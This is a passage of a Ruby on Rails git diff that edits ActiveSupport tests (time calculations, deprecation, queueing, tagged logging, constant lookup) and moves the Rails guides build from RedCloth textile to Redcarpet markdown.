assert_equal Time.local(2005,2,4,0,0,0), Time.local(2005,2,4,10,10,10).beginning_of_day
with_env_tz 'US/Eastern' do
@@ -97,17 +73,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2005,2,4,19,0,0), Time.local(2005,2,4,19,30,10).beginning_of_hour
end
- def test_beginning_of_month
- assert_equal Time.local(2005,2,1,0,0,0), Time.local(2005,2,22,10,10,10).beginning_of_month
- end
-
- def test_beginning_of_quarter
- assert_equal Time.local(2005,1,1,0,0,0), Time.local(2005,2,15,10,10,10).beginning_of_quarter
- assert_equal Time.local(2005,1,1,0,0,0), Time.local(2005,1,1,0,0,0).beginning_of_quarter
- assert_equal Time.local(2005,10,1,0,0,0), Time.local(2005,12,31,10,10,10).beginning_of_quarter
- assert_equal Time.local(2005,4,1,0,0,0), Time.local(2005,6,30,23,59,59).beginning_of_quarter
- end
-
def test_end_of_day
assert_equal Time.local(2007,8,12,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,12,10,10,10).end_of_day
with_env_tz 'US/Eastern' do
@@ -120,100 +85,14 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
- def test_end_of_week
- assert_equal Time.local(2008,1,6,23,59,59,Rational(999999999, 1000)), Time.local(2007,12,31,10,10,10).end_of_week
- assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,27,0,0,0).end_of_week #monday
- assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,28,0,0,0).end_of_week #tuesday
- assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,29,0,0,0).end_of_week #wednesday
- assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,30,0,0,0).end_of_week #thursday
- assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,31,0,0,0).end_of_week #friday
- assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,9,01,0,0,0).end_of_week #saturday
- assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,9,02,0,0,0).end_of_week #sunday
- end
-
def test_end_of_hour
assert_equal Time.local(2005,2,4,19,59,59,Rational(999999999, 1000)), Time.local(2005,2,4,19,30,10).end_of_hour
end
- def test_end_of_month
- assert_equal Time.local(2005,3,31,23,59,59,Rational(999999999, 1000)), Time.local(2005,3,20,10,10,10).end_of_month
- assert_equal Time.local(2005,2,28,23,59,59,Rational(999999999, 1000)), Time.local(2005,2,20,10,10,10).end_of_month
- assert_equal Time.local(2005,4,30,23,59,59,Rational(999999999, 1000)), Time.local(2005,4,20,10,10,10).end_of_month
- end
-
- def test_end_of_quarter
- assert_equal Time.local(2007,3,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,2,15,10,10,10).end_of_quarter
- assert_equal Time.local(2007,3,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,3,31,0,0,0).end_of_quarter
- assert_equal Time.local(2007,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,12,21,10,10,10).end_of_quarter
- assert_equal Time.local(2007,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2007,4,1,0,0,0).end_of_quarter
- assert_equal Time.local(2008,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2008,5,31,0,0,0).end_of_quarter
- end
-
- def test_end_of_year
- assert_equal Time.local(2007,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,2,22,10,10,10).end_of_year
- assert_equal Time.local(2007,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,12,31,10,10,10).end_of_year
- end
-
- def test_beginning_of_year
- assert_equal Time.local(2005,1,1,0,0,0), Time.local(2005,2,22,10,10,10).beginning_of_year
- end
-
- def test_weeks_ago
- assert_equal Time.local(2005,5,29,10), Time.local(2005,6,5,10,0,0).weeks_ago(1)
- assert_equal Time.local(2005,5,1,10), Time.local(2005,6,5,10,0,0).weeks_ago(5)
- assert_equal Time.local(2005,4,24,10), Time.local(2005,6,5,10,0,0).weeks_ago(6)
- assert_equal Time.local(2005,2,27,10), Time.local(2005,6,5,10,0,0).weeks_ago(14)
- assert_equal Time.local(2004,12,25,10), Time.local(2005,1,1,10,0,0).weeks_ago(1)
- end
-
- def test_months_ago
- assert_equal Time.local(2005,5,5,10), Time.local(2005,6,5,10,0,0).months_ago(1)
- assert_equal Time.local(2004,11,5,10), Time.local(2005,6,5,10,0,0).months_ago(7)
- assert_equal Time.local(2004,12,5,10), Time.local(2005,6,5,10,0,0).months_ago(6)
- assert_equal Time.local(2004,6,5,10), Time.local(2005,6,5,10,0,0).months_ago(12)
- assert_equal Time.local(2003,6,5,10), Time.local(2005,6,5,10,0,0).months_ago(24)
- end
-
- def test_months_since
- assert_equal Time.local(2005,7,5,10), Time.local(2005,6,5,10,0,0).months_since(1)
- assert_equal Time.local(2006,1,5,10), Time.local(2005,12,5,10,0,0).months_since(1)
- assert_equal Time.local(2005,12,5,10), Time.local(2005,6,5,10,0,0).months_since(6)
- assert_equal Time.local(2006,6,5,10), Time.local(2005,12,5,10,0,0).months_since(6)
- assert_equal Time.local(2006,1,5,10), Time.local(2005,6,5,10,0,0).months_since(7)
- assert_equal Time.local(2006,6,5,10), Time.local(2005,6,5,10,0,0).months_since(12)
- assert_equal Time.local(2007,6,5,10), Time.local(2005,6,5,10,0,0).months_since(24)
- assert_equal Time.local(2005,4,30,10), Time.local(2005,3,31,10,0,0).months_since(1)
- assert_equal Time.local(2005,2,28,10), Time.local(2005,1,29,10,0,0).months_since(1)
- assert_equal Time.local(2005,2,28,10), Time.local(2005,1,30,10,0,0).months_since(1)
- assert_equal Time.local(2005,2,28,10), Time.local(2005,1,31,10,0,0).months_since(1)
- end
-
- def test_years_ago
- assert_equal Time.local(2004,6,5,10), Time.local(2005,6,5,10,0,0).years_ago(1)
- assert_equal Time.local(1998,6,5,10), Time.local(2005,6,5,10,0,0).years_ago(7)
- assert_equal Time.local(2003,2,28,10), Time.local(2004,2,29,10,0,0).years_ago(1) # 1 year ago from leap day
- end
-
- def test_years_since
- assert_equal Time.local(2006,6,5,10), Time.local(2005,6,5,10,0,0).years_since(1)
- assert_equal Time.local(2012,6,5,10), Time.local(2005,6,5,10,0,0).years_since(7)
- assert_equal Time.local(2005,2,28,10), Time.local(2004,2,29,10,0,0).years_since(1) # 1 year since leap day
- # Failure because of size limitations of numeric?
- # assert_equal Time.local(2182,6,5,10), Time.local(2005,6,5,10,0,0).years_since(177)
- end
-
- def test_prev_year
- assert_equal Time.local(2004,6,5,10), Time.local(2005,6,5,10,0,0).prev_year
- end
-
def test_last_year
assert_equal Time.local(2004,6,5,10), Time.local(2005,6,5,10,0,0).last_year
end
- def test_next_year
- assert_equal Time.local(2006,6,5,10), Time.local(2005,6,5,10,0,0).next_year
- end
-
def test_ago
assert_equal Time.local(2005,2,22,10,10,9), Time.local(2005,2,22,10,10,10).ago(1)
assert_equal Time.local(2005,2,22,9,10,10), Time.local(2005,2,22,10,10,10).ago(3600)
@@ -426,16 +305,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
- def test_yesterday
- assert_equal Time.local(2005,2,21,10,10,10), Time.local(2005,2,22,10,10,10).yesterday
- assert_equal Time.local(2005,2,28,10,10,10), Time.local(2005,3,2,10,10,10).yesterday.yesterday
- end
-
- def test_tomorrow
- assert_equal Time.local(2005,2,23,10,10,10), Time.local(2005,2,22,10,10,10).tomorrow
- assert_equal Time.local(2005,3,2,10,10,10), Time.local(2005,2,28,10,10,10).tomorrow.tomorrow
- end
-
def test_change
assert_equal Time.local(2006,2,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:year => 2006)
assert_equal Time.local(2005,6,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:month => 6)
@@ -539,16 +408,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal t, t.advance(:months => 0)
end
- def test_prev_week
- with_env_tz 'US/Eastern' do
- assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).prev_week
- assert_equal Time.local(2005,2,22), Time.local(2005,3,1,15,15,10).prev_week(:tuesday)
- assert_equal Time.local(2005,2,25), Time.local(2005,3,1,15,15,10).prev_week(:friday)
- assert_equal Time.local(2006,10,30), Time.local(2006,11,6,0,0,0).prev_week
- assert_equal Time.local(2006,11,15), Time.local(2006,11,23,0,0,0).prev_week(:wednesday)
- end
- end
-
def test_last_week
with_env_tz 'US/Eastern' do
assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
@@ -559,16 +418,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
- def test_next_week
- with_env_tz 'US/Eastern' do
- assert_equal Time.local(2005,2,28), Time.local(2005,2,22,15,15,10).next_week
- assert_equal Time.local(2005,3,1), Time.local(2005,2,22,15,15,10).next_week(:tuesday)
- assert_equal Time.local(2005,3,4), Time.local(2005,2,22,15,15,10).next_week(:friday)
- assert_equal Time.local(2006,10,30), Time.local(2006,10,23,0,0,0).next_week
- assert_equal Time.local(2006,11,1), Time.local(2006,10,23,0,0,0).next_week(:wednesday)
- end
- end
-
def test_next_week_near_daylight_start
with_env_tz 'US/Eastern' do
assert_equal Time.local(2006,4,3), Time.local(2006,4,2,23,1,0).next_week, 'just crossed standard => daylight'
@@ -709,14 +558,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
- def test_next_month_on_31st
- assert_equal Time.local(2005, 9, 30), Time.local(2005, 8, 31).next_month
- end
-
- def test_prev_month_on_31st
- assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).prev_month
- end
-
def test_last_month_on_31st
assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
end
@@ -938,15 +779,6 @@ class TimeExtMarshalingTest < ActiveSupport::TestCase
assert_equal t, unmarshaled
end
-
- def test_next_quarter_on_31st
- assert_equal Time.local(2005, 11, 30), Time.local(2005, 8, 31).next_quarter
- end
-
- def test_prev_quarter_on_31st
- assert_equal Time.local(2004, 2, 29), Time.local(2004, 5, 31).prev_quarter
- end
-
def test_last_quarter_on_31st
assert_equal Time.local(2004, 2, 29), Time.local(2004, 5, 31).last_quarter
end
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index 69829bcda5..e5bc806397 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -145,6 +145,12 @@ class DependenciesTest < ActiveSupport::TestCase
end
end
+ def test_circular_autoloading_detection
+ with_autoloading_fixtures do
+ assert_raise(RuntimeError, "Circular dependency detected while autoloading constant Circular1") { Circular1 }
+ end
+ end
+
def test_module_loading
with_autoloading_fixtures do
assert_kind_of Module, A
@@ -679,6 +685,8 @@ class DependenciesTest < ActiveSupport::TestCase
assert_equal true, M.unloadable
assert_equal false, M.unloadable
end
+ ensure
+ Object.class_eval { remove_const :M }
end
def test_unloadable_constants_should_receive_callback
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index e21f3efe36..c081103cc7 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -104,6 +104,17 @@ class DeprecationTest < ActiveSupport::TestCase
assert_match(/call stack!/, content)
end
+ def test_default_stderr_behavior_with_warn_method
+ ActiveSupport::Deprecation.behavior = :stderr
+
+ content = capture(:stderr) {
+ ActiveSupport::Deprecation.warn('Instance error!', ['instance call stack!'])
+ }
+
+ assert_match(/Instance error!/, content)
+ assert_match(/instance call stack!/, content)
+ end
+
def test_default_silence_behavior
ActiveSupport::Deprecation.behavior = :silence
behavior = ActiveSupport::Deprecation.behavior.first
@@ -186,4 +197,142 @@ class DeprecationTest < ActiveSupport::TestCase
def test_deprecation_with_explicit_message
assert_deprecated(/you now need to do something extra for this one/) { @dtc.d }
end
+
+ def test_deprecation_in_other_object
+ messages = []
+
+ klass = Class.new do
+ delegate :warn, :behavior=, to: ActiveSupport::Deprecation
+ end
+
+ o = klass.new
+ o.behavior = Proc.new { |message, callstack| messages << message }
+ assert_difference("messages.size") do
+ o.warn("warning")
+ end
+ end
+
+ def test_deprecated_method_with_custom_method_warning
+ deprecator = deprecator_with_messages
+
+ class << deprecator
+ private
+ def deprecated_method_warning(method, message)
+ "deprecator.deprecated_method_warning.#{method}"
+ end
+ end
+
+ deprecatee = Class.new do
+ def method
+ end
+ deprecate :method, deprecator: deprecator
+ end
+
+ deprecatee.new.method
+ assert deprecator.messages.first.match("DEPRECATION WARNING: deprecator.deprecated_method_warning.method")
+ end
+
+ def test_deprecate_with_custom_deprecator
+ custom_deprecator = mock('Deprecator') do
+ expects(:deprecation_warning)
+ end
+
+ klass = Class.new do
+ def method
+ end
+ deprecate :method, deprecator: custom_deprecator
+ end
+
+ klass.new.method
+ end
+
+ def test_deprecated_constant_with_deprecator_given
+ deprecator = deprecator_with_messages
+ klass = Class.new
+ klass.const_set(:OLD, ActiveSupport::Deprecation::DeprecatedConstantProxy.new('klass::OLD', 'Object', deprecator) )
+ assert_difference("deprecator.messages.size") do
+ klass::OLD.to_s
+ end
+ end
+
+ def test_deprecated_instance_variable_with_instance_deprecator
+ deprecator = deprecator_with_messages
+
+ klass = Class.new() do
+ def initialize(deprecator)
+ @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+ @_request = :a_request
+ end
+ def request; @_request end
+ def old_request; @request end
+ end
+
+ assert_difference("deprecator.messages.size") { klass.new(deprecator).old_request.to_s }
+ end
+
+ def test_deprecated_instance_variable_with_given_deprecator
+ deprecator = deprecator_with_messages
+
+ klass = Class.new do
+ define_method(:initialize) do
+ @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+ @_request = :a_request
+ end
+ def request; @_request end
+ def old_request; @request end
+ end
+
+ assert_difference("deprecator.messages.size") { klass.new.old_request.to_s }
+ end
+
+ def test_delegate_deprecator_instance
+ klass = Class.new do
+ attr_reader :last_message
+ delegate :warn, :behavior=, to: ActiveSupport::Deprecation
+
+ def initialize
+ self.behavior = [Proc.new { |message| @last_message = message }]
+ end
+
+ def deprecated_method
+ warn(deprecated_method_warning(:deprecated_method, "You are calling deprecated method"))
+ end
+
+ private
+ def deprecated_method_warning(method_name, message = nil)
+ message || "#{method_name} is deprecated and will be removed from This Library"
+ end
+ end
+
+ object = klass.new
+ object.deprecated_method
+ assert_match(/You are calling deprecated method/, object.last_message)
+ end
+
+ def test_default_gem_name
+ deprecator = ActiveSupport::Deprecation.new
+
+ deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+ assert_match(/is deprecated and will be removed from Rails/, message)
+ end
+ end
+
+ def test_custom_gem_name
+ deprecator = ActiveSupport::Deprecation.new('2.0', 'Custom')
+
+ deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+ assert_match(/is deprecated and will be removed from Custom/, message)
+ end
+ end
+
+ private
+ def deprecator_with_messages
+ klass = Class.new(ActiveSupport::Deprecation)
+ deprecator = klass.new
+ deprecator.behavior = Proc.new{|message, callstack| deprecator.messages << message}
+ def deprecator.messages
+ @messages ||= []
+ end
+ deprecator
+ end
end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index cd91002147..aa41e57928 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -169,11 +169,11 @@ class InflectorTest < ActiveSupport::TestCase
def test_underscore_acronym_sequence
ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym("API")
- inflect.acronym("HTML5")
+ inflect.acronym("JSON")
inflect.acronym("HTML")
end
- assert_equal("html5_html_api", ActiveSupport::Inflector.underscore("HTML5HTMLAPI"))
+ assert_equal("json_html_api", ActiveSupport::Inflector.underscore("JSONHTMLAPI"))
end
def test_underscore
diff --git a/activesupport/test/queueing/container_test.rb b/activesupport/test/queueing/container_test.rb
new file mode 100644
index 0000000000..7afc11e7a9
--- /dev/null
+++ b/activesupport/test/queueing/container_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+require 'active_support/queueing'
+
+module ActiveSupport
+ class ContainerTest < ActiveSupport::TestCase
+ def test_delegates_to_default
+ q = Queue.new
+ container = QueueContainer.new q
+ job = Object.new
+
+ container.push job
+ assert_equal job, q.pop
+ end
+
+ def test_access_default
+ q = Queue.new
+ container = QueueContainer.new q
+ assert_equal q, container[:default]
+ end
+
+ def test_assign_queue
+ container = QueueContainer.new Object.new
+ q = Object.new
+ container[:foo] = q
+ assert_equal q, container[:foo]
+ end
+ end
+end
diff --git a/activesupport/test/queueing/synchronous_queue_test.rb b/activesupport/test/queueing/synchronous_queue_test.rb
new file mode 100644
index 0000000000..86c39d0f6c
--- /dev/null
+++ b/activesupport/test/queueing/synchronous_queue_test.rb
@@ -0,0 +1,27 @@
+require 'abstract_unit'
+require 'active_support/queueing'
+
+class SynchronousQueueTest < ActiveSupport::TestCase
+ class Job
+ attr_reader :ran
+ def run; @ran = true end
+ end
+
+ class ExceptionRaisingJob
+ def run; raise end
+ end
+
+ def setup
+ @queue = ActiveSupport::SynchronousQueue.new
+ end
+
+ def test_runs_jobs_immediately
+ job = Job.new
+ @queue.push job
+ assert job.ran
+
+ assert_raises RuntimeError do
+ @queue.push ExceptionRaisingJob.new
+ end
+ end
+end
diff --git a/railties/test/queueing/test_queue_test.rb b/activesupport/test/queueing/test_queue_test.rb
index 2f0f507adb..e398a48bea 100644
--- a/railties/test/queueing/test_queue_test.rb
+++ b/activesupport/test/queueing/test_queue_test.rb
@@ -1,9 +1,9 @@
require 'abstract_unit'
-require 'rails/queueing'
+require 'active_support/queueing'
class TestQueueTest < ActiveSupport::TestCase
def setup
- @queue = Rails::Queueing::TestQueue.new
+ @queue = ActiveSupport::TestQueue.new
end
class ExceptionRaisingJob
@@ -12,7 +12,7 @@ class TestQueueTest < ActiveSupport::TestCase
end
end
- def test_drain_raises
+ def test_drain_raises_exceptions_from_running_jobs
@queue.push ExceptionRaisingJob.new
assert_raises(RuntimeError) { @queue.drain }
end
@@ -41,8 +41,8 @@ class TestQueueTest < ActiveSupport::TestCase
end
def test_contents
- assert @queue.empty?
job = EquivalentJob.new
+ assert @queue.empty?
@queue.push job
refute @queue.empty?
assert_equal job, @queue.pop
@@ -97,6 +97,6 @@ class TestQueueTest < ActiveSupport::TestCase
assert @queue.empty?
assert job.ran?, "The job runs synchronously when the queue is drained"
- assert_not_equal job.thread_id, Thread.current.object_id
+ assert_equal job.thread_id, Thread.current.object_id
end
end
diff --git a/activesupport/test/queueing/threaded_consumer_test.rb b/activesupport/test/queueing/threaded_consumer_test.rb
new file mode 100644
index 0000000000..fc43cb555a
--- /dev/null
+++ b/activesupport/test/queueing/threaded_consumer_test.rb
@@ -0,0 +1,92 @@
+require 'abstract_unit'
+require 'active_support/queueing'
+require "active_support/log_subscriber/test_helper"
+
+class TestThreadConsumer < ActiveSupport::TestCase
+ class Job
+ attr_reader :id
+ def initialize(id = 1, &block)
+ @id = id
+ @block = block
+ end
+
+ def run
+ @block.call if @block
+ end
+ end
+
+ def setup
+ @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ @queue = ActiveSupport::Queue.new(logger: @logger)
+ end
+
+ def teardown
+ @queue.drain
+ end
+
+ test "the jobs are executed" do
+ ran = false
+ job = Job.new { ran = true }
+
+ @queue.push job
+ @queue.drain
+
+ assert_equal true, ran
+ end
+
+ test "the jobs are not executed synchronously" do
+ run, ran = Queue.new, Queue.new
+ job = Job.new { ran.push run.pop }
+
+ @queue.consumer.start
+ @queue.push job
+ assert ran.empty?
+
+ run.push true
+ assert_equal true, ran.pop
+ end
+
+ test "shutting down the queue synchronously drains the jobs" do
+ ran = false
+ job = Job.new do
+ sleep 0.1
+ ran = true
+ end
+
+ @queue.consumer.start
+ @queue.push job
+ assert_equal false, ran
+
+ @queue.consumer.shutdown
+ assert_equal true, ran
+ end
+
+ test "log job that raises an exception" do
+ job = Job.new { raise "RuntimeError: Error!" }
+
+ @queue.push job
+ @queue.drain
+
+ assert_equal 1, @logger.logged(:error).size
+ assert_match 'Job Error: RuntimeError: Error!', @logger.logged(:error).last
+ end
+
+ test "test overriding exception handling" do
+ @queue.consumer.instance_eval do
+ def handle_exception(job, exception)
+ @last_error = exception.message
+ end
+
+ def last_error
+ @last_error
+ end
+ end
+
+ job = Job.new { raise "RuntimeError: Error!" }
+
+ @queue.push job
+ @queue.drain
+
+ assert_equal "RuntimeError: Error!", @queue.consumer.last_error
+ end
+end
diff --git a/activesupport/test/spec_type_test.rb b/activesupport/test/spec_type_test.rb
new file mode 100644
index 0000000000..95a982d8fd
--- /dev/null
+++ b/activesupport/test/spec_type_test.rb
@@ -0,0 +1,23 @@
+require "abstract_unit"
+require "active_record"
+
+class SomeRandomModel < ActiveRecord::Base; end
+
+class SpecTypeTest < ActiveSupport::TestCase
+
+ def assert_support actual
+ assert_equal ActiveSupport::TestCase, actual
+ end
+
+ def assert_spec actual
+ assert_equal MiniTest::Spec, actual
+ end
+
+ def test_spec_type_resolves_for_actitive_record_constants
+ assert_support MiniTest::Spec.spec_type(SomeRandomModel)
+ end
+
+ def test_spec_type_doesnt_resolve_random_strings
+ assert_spec MiniTest::Spec.spec_type("Unmatched String")
+ end
+end
diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb
index 0751c2469e..27f629474e 100644
--- a/activesupport/test/tagged_logging_test.rb
+++ b/activesupport/test/tagged_logging_test.rb
@@ -14,6 +14,14 @@ class TaggedLoggingTest < ActiveSupport::TestCase
@logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@output))
end
+ test 'sets logger.formatter if missing and extends it with a tagging API' do
+ logger = Logger.new(StringIO.new)
+ assert_nil logger.formatter
+ ActiveSupport::TaggedLogging.new(logger)
+ assert_not_nil logger.formatter
+ assert logger.formatter.respond_to?(:tagged)
+ end
+
test "tagged once" do
@logger.tagged("BCX") { @logger.info "Funky time" }
assert_equal "[BCX] Funky time\n", @output.string
@@ -29,6 +37,28 @@ class TaggedLoggingTest < ActiveSupport::TestCase
assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
end
+ test "tagged are flattened" do
+ @logger.tagged("BCX", %w(Jason New)) { @logger.info "Funky time" }
+ assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string
+ end
+
+ test "push and pop tags directly" do
+ assert_equal %w(A B C), @logger.push_tags('A', ['B', ' ', ['C']])
+ @logger.info 'a'
+ assert_equal %w(C), @logger.pop_tags
+ @logger.info 'b'
+ assert_equal %w(B), @logger.pop_tags(1)
+ @logger.info 'c'
+ assert_equal [], @logger.clear_tags!
+ @logger.info 'd'
+ assert_equal "[A] [B] [C] a\n[A] [B] b\n[A] c\nd\n", @output.string
+ end
+
+ test "does not strip message content" do
+ @logger.info " Hello"
+ assert_equal " Hello\n", @output.string
+ end
+
test "provides access to the logger instance" do
@logger.tagged("BCX") { |logger| logger.info "Funky time" }
assert_equal "[BCX] Funky time\n", @output.string
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
index 2473cec384..d19aab1438 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_test.rb
@@ -171,3 +171,18 @@ class SubclassSetupAndTeardownTest < SetupAndTeardownTest
assert_equal [:foo, :bar, :bar, :foo], @called_back
end
end
+
+
+class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
+ def before_setup
+ require 'stringio'
+ @out = StringIO.new
+ self.tagged_logger = ActiveSupport::TaggedLogging.new(Logger.new(@out))
+ super
+ end
+
+ def test_logs_tagged_with_current_test_case
+ tagged_logger.info 'test'
+ assert_equal "[#{self.class.name}] [#{__name__}] test\n", @out.string
+ end
+end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
new file mode 100644
index 0000000000..c56c032cde
--- /dev/null
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -0,0 +1,59 @@
+require 'abstract_unit'
+
+class Foo; end
+class Bar < Foo;
+ def index; end
+ def self.index; end
+end
+class Baz < Bar; end
+module FooBar; end
+
+class ConstantLookupTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::ConstantLookup
+
+ def find_foo(name)
+ self.class.determine_constant_from_test_name(name) do |constant|
+ Class === constant && constant < Foo
+ end
+ end
+
+ def find_module(name)
+ self.class.determine_constant_from_test_name(name) do |constant|
+ Module === constant
+ end
+ end
+
+ def test_find_bar_from_foo
+ assert_equal Bar, find_foo("Bar")
+ assert_equal Bar, find_foo("Bar::index")
+ assert_equal Bar, find_foo("Bar::index::authenticated")
+ assert_equal Bar, find_foo("BarTest")
+ assert_equal Bar, find_foo("BarTest::index")
+ assert_equal Bar, find_foo("BarTest::index::authenticated")
+ end
+
+ def test_find_module
+ assert_equal FooBar, find_module("FooBar")
+ assert_equal FooBar, find_module("FooBar::index")
+ assert_equal FooBar, find_module("FooBar::index::authenticated")
+ assert_equal FooBar, find_module("FooBarTest")
+ assert_equal FooBar, find_module("FooBarTest::index")
+ assert_equal FooBar, find_module("FooBarTest::index::authenticated")
+ end
+
+ def test_returns_nil_when_cant_find_foo
+ assert_nil find_foo("DoesntExist")
+ assert_nil find_foo("DoesntExistTest")
+ assert_nil find_foo("DoesntExist::Nadda")
+ assert_nil find_foo("DoesntExist::Nadda::Nope")
+ assert_nil find_foo("DoesntExist::Nadda::Nope::NotHere")
+ end
+
+ def test_returns_nil_when_cant_find_module
+ assert_nil find_module("DoesntExist")
+ assert_nil find_module("DoesntExistTest")
+ assert_nil find_module("DoesntExist::Nadda")
+ assert_nil find_module("DoesntExist::Nadda::Nope")
+ assert_nil find_module("DoesntExist::Nadda::Nope::NotHere")
+ end
+end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index b9434489bb..bfd6863e40 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -258,6 +258,14 @@ class TimeZoneTest < ActiveSupport::TestCase
assert_equal "-0500", zone.formatted_offset(false)
end
+ def test_z_format_strings
+ zone = ActiveSupport::TimeZone['Tokyo']
+ twz = zone.now
+ assert_equal '+0900', twz.strftime('%z')
+ assert_equal '+09:00', twz.strftime('%:z')
+ assert_equal '+09:00:00', twz.strftime('%::z')
+ end
+
def test_formatted_offset_zero
zone = ActiveSupport::TimeZone['London']
assert_equal "+00:00", zone.formatted_offset
diff --git a/guides/Rakefile b/guides/Rakefile
index d005a12936..7881a3d9b3 100644
--- a/guides/Rakefile
+++ b/guides/Rakefile
@@ -1,6 +1,6 @@
namespace :guides do
- desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"'
+ desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"'
task :generate => 'generate:html'
namespace :generate do
@@ -45,7 +45,7 @@ Some arguments may be passed via environment variables:
ONLY=name
Useful if you want to generate only one or a set of guides.
-
+
Generate only association_basics.html:
ONLY=assoc
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
index 42b85fefa3..a30e12fe7e 100644
--- a/guides/assets/stylesheets/main.css
+++ b/guides/assets/stylesheets/main.css
@@ -24,7 +24,7 @@ dl dt { font-weight: bold; }
dd { margin-left: 1.5em;}
pre,code { margin: 1.5em 0; overflow: auto; color: #222;}
-pre,code,tt {
+pre,code {
font-size: 1em;
font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
line-height: 1.5;
@@ -156,6 +156,7 @@ a, a:link, a:visited {
}
#mainCol a, #subCol a, #feature a {color: #980905;}
+#mainCol a code, #subCol a code, #feature a code {color: #980905;}
/* Navigation
@@ -393,7 +394,14 @@ div.code_container {
margin: 0.25em 0 1.5em 0;
}
-.note tt, .info tt {border:none; background: none; padding: 0;}
+#mainCol div.todo {
+ background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+ border: none;
+ padding: 1em 1em 0.25em 48px;
+ margin: 0.25em 0 1.5em 0;
+}
+
+.note code, .info code, .todo code {border:none; background: none; padding: 0;}
#mainCol ul li {
list-style:none;
diff --git a/guides/code/getting_started/config/initializers/session_store.rb b/guides/code/getting_started/config/initializers/session_store.rb
index 1a67af58b5..3b2ca93ab9 100644
--- a/guides/code/getting_started/config/initializers/session_store.rb
+++ b/guides/code/getting_started/config/initializers/session_store.rb
@@ -1,8 +1,3 @@
# Be sure to restart your server when you modify this file.
Blog::Application.config.session_store :cookie_store, key: '_blog_session'
-
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "rails generate session_migration")
-# Blog::Application.config.session_store :active_record_store
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
index 1955309865..ab890f202c 100644
--- a/guides/rails_guides.rb
+++ b/guides/rails_guides.rb
@@ -21,14 +21,14 @@ rescue LoadError
end
begin
- require 'redcloth'
+ require 'redcarpet'
rescue Gem::LoadError
# This can happen if doc:guides is executed in an application.
- $stderr.puts('Generating guides requires RedCloth 4.1.1+.')
+ $stderr.puts('Generating guides requires Redcarpet 2.1.1+.')
$stderr.puts(<<ERROR) if bundler?
Please add
- gem 'RedCloth', '~> 4.2'
+ gem 'redcarpet', '~> 2.1.1'
to the Gemfile, run
@@ -36,12 +36,9 @@ to the Gemfile, run
and try again.
ERROR
-
exit 1
end
-require "rails_guides/textile_extensions"
-RedCloth.send(:include, RailsGuides::TextileExtensions)
-
+require 'rails_guides/markdown'
require "rails_guides/generator"
RailsGuides::Generator.new.generate
